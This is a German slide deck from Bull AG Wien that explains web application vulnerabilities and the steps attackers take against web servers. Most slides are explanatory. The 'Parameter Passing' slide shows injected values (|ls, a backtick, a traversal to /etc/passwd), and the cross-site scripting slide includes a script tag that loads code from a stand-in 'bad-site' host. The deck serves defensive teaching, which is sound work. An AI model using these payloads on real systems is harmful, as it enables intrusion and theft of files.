

Bull AG Wien

Web Applications Vulnerabilities

Philipp Schaumann
Dipl. Physiker
Bull AG, Wien
www.bull.at/security

Bull



Die Problematik

- ❖ Der Webserver ist das Tor zum Internet
- ❖ auch ein Firewall schützt den Webserver nur bedingt, denn
- ❖ Port 80 (443) und die DMZ müssen offen gehalten werden um ihre Funktion zu erfüllen
- ❖ Viele Angriffstool nützen diese Öffnung aus
- ❖ Web Anwendungen sind oft komplex und mehr oder weniger „hand-gestrickt“
- ❖ Web Developer haben wenig Wissen von den Angriffsmethoden
- ❖ Angreifer haben beliebig viel Zeit zum Finden von Schwachstellen
- ❖ Webserver sind oft Portal zu den Corporate Daten



Web Applications haben viele Formen

- ◆ **Internet Shop**
- ◆ **E-Commerce Site**
- ◆ **Partner- und Kunden-Portale**
- ◆ **Statische Websites mit Feedback-Option**



„Traditionelle“ Schwachstellen

- ❖ Veraltete Versionen des Betriebssystems, des Webservers, Mailservers, des DNS (ungepatched)
- ❖ Unnötige Dienste in der DMZ aktiv (z.B. telnet von außen)
- ❖ Beispiel- und Testsoftware verbleibt im Produktionssystem
- ❖ Datenbanken in der gleichen DMZ wie der Webserver – SQL port nach außen offen (SQL Slammer !!)
- ❖ Web Anwendung mit schwacher Authentisierung, auch für Administrativ-Funktionen
- ❖ Externe „gehostete“ Webserver sind oft ganz ohne Firewall !



Angriffsszenario

1. Port Scan (Suche nach offen Ports)
2. Information Gathering (welche Software wird genutzt, Analyse der Directory-Struktur, Suche nach Kommentaren im Code)
3. Testen der Web Anwendungen nach offensichtlichen Bugs
4. Planung des Angriffs auf Grund der gefundenen Informationen
5. Angriff



Die Tricks

- Ausnutzen der bekannten Schwachstellen der vorgefundenen Software
- Analyse der Seiten im Browser nach Hidden-Fields
- Manipulation der Hidden-Fields im Browser (Rücksendung durch telnet statt Browser)
- Analyse der Javascript-Funktionen zeigt das Ausmaß des Parameter-Checkings
- Benutzung von Seiten, in denen das Parameter-Checking abgestellt wurde



Die Tricks (2)

- **Ausnutzen von bekannten Test-Files, die nach der Installation nicht entfernt wurden**
 - z.B. `/cgi-bin/formmail.pl`
- **Durchprobieren von Namen wie**
 - `/archive/`
 - `/old/`
 - `/alt/`
 - `/test/`
 - `/scripts/`



Die Tricks (3)

- ❖ **Java Applet Reengineering**
Java kann auf dem Client decompiliert werden und ist dann wieder im Quellcode lesbar
- ❖ **Suche nach bekannten Files auf dem Webserver, z.B. ws_ftp.log, die immer an der gleichen Stelle zu finden sind**



Parameter Truncation

Systematisches Verkürzen des Pfades, z.B.

- <http://domain.at/customer/id/993/details.htm>
- <http://domain.at/customer/id/993/>
- <http://domain.at/customer/id/>
- <http://domain.at/customer/>

Directories ohne Default-HTML-Seite zeigen ihren kompletten Inhalt in roher Form an, auch die Inhalte, die nicht verlinkt sind



Directory Enumeration

- Suche nach Directories und Pfaden, auf die zwar nicht verlinkt wird, die jedoch trotzdem öffentlich zu erreichen sind.
- Dort stehen oft veraltete oder Testversionen.
- Google listet oft Pfade, auf die kein Link (mehr) zeigt.



Parameter Manipulation

- ❖ **Eingabe von falschen Parametern in Fragebögen. Auswertung der Antworten zeigt, was der Programmierer abgeprüft hat**
- ❖ **Manche Programmierer setzen den Inhalt des Feldes direkt in System- oder SQL-Kommandos ein**
 - Betriebssystem-Kommandos hinter Trennzeichen („ oder ;)
- ❖ **SQL-Injection - Einfügen von SQL Kommandos in Text-Eingabefelder**
 - SQL-Kommandos hinter Trennzeichen („ oder ;)



Parameter Passing

- ⬢ <http://domain.at/contact.asp?email=aaa@domain.at&subj=wie+geht+es>
- ⬢ Wird zu
- ⬢ [/contact.asp?email=`&subj=](#)
- ⬢ [/contact.asp?email=|ls&subj=](#)
- ⬢
[/contact.asp?email=/.../.../.../etc/passwd&subj=/.../.../.../etc/passwd](#)



Cross-Site Scripting

❖ In Diskussionsgruppen, Guestbooks und Bulletin-Board können Anwender zum Teil Scripts in ihren eigenen Text einfügen

- Hello message board. This is a message.
`<SCRIPT SRC='http://bad-site/badfile'>`
malicious code`</SCRIPT>`
This is the end of my message.
- **Beispiele:** `<SCRIPT>`, `<OBJECT>`, `<APPLET>`, und `<EMBED>`
- http://www.cert.org/tech_tips/malicious_code_mitigation.html
 1. Explicitly setting the character set encoding for each page generated by the web server
 2. Identifying special characters
 3. Encoding dynamic output elements
 4. Filtering specific characters in dynamic elements
 5. Examine cookies



Cookie Tampering

- Der Inhalt von Cookies kann geändert werden, um z.B. eine erfolgte Authentisierung vorzutäuschen in dem eine falsche Session ID eingesetzt wird



Cookies

- ❖ Kleine Dateien, die ein Webserver auf dem Client ablegen kann.
- ❖ Werden nur an die Domäne zurückübertragen, die den Cookie geschrieben hat
- ❖ Permanente Cookies (auf der Platte des PCs - SYSTEM/TEMPORARY INTERNET FILES)
- ❖ Session Cookies (im Speicher des Browsers, auch verschlüsselt)
- ❖ Cross Site Tracing Cookies (kommen mit Werbebannern oder -popups)



Cookies

- ❖ **Problem: http ist ein state-less Protokoll, Cookies erzeugen „state“ und erlauben Sessions**
- ❖ **Alternativlösung: Generierung von session-spezifischen URLs durch den Webserver**



Web Application Testing

- Es gibt Tools zum systematischen Testen von Webanwendungen
- Diese sollten bereits in der Entwicklungs- und Testphase eingesetzt werden
- Regelmäßiger Neu-Einsatz wegen neuer Angriffsmethoden

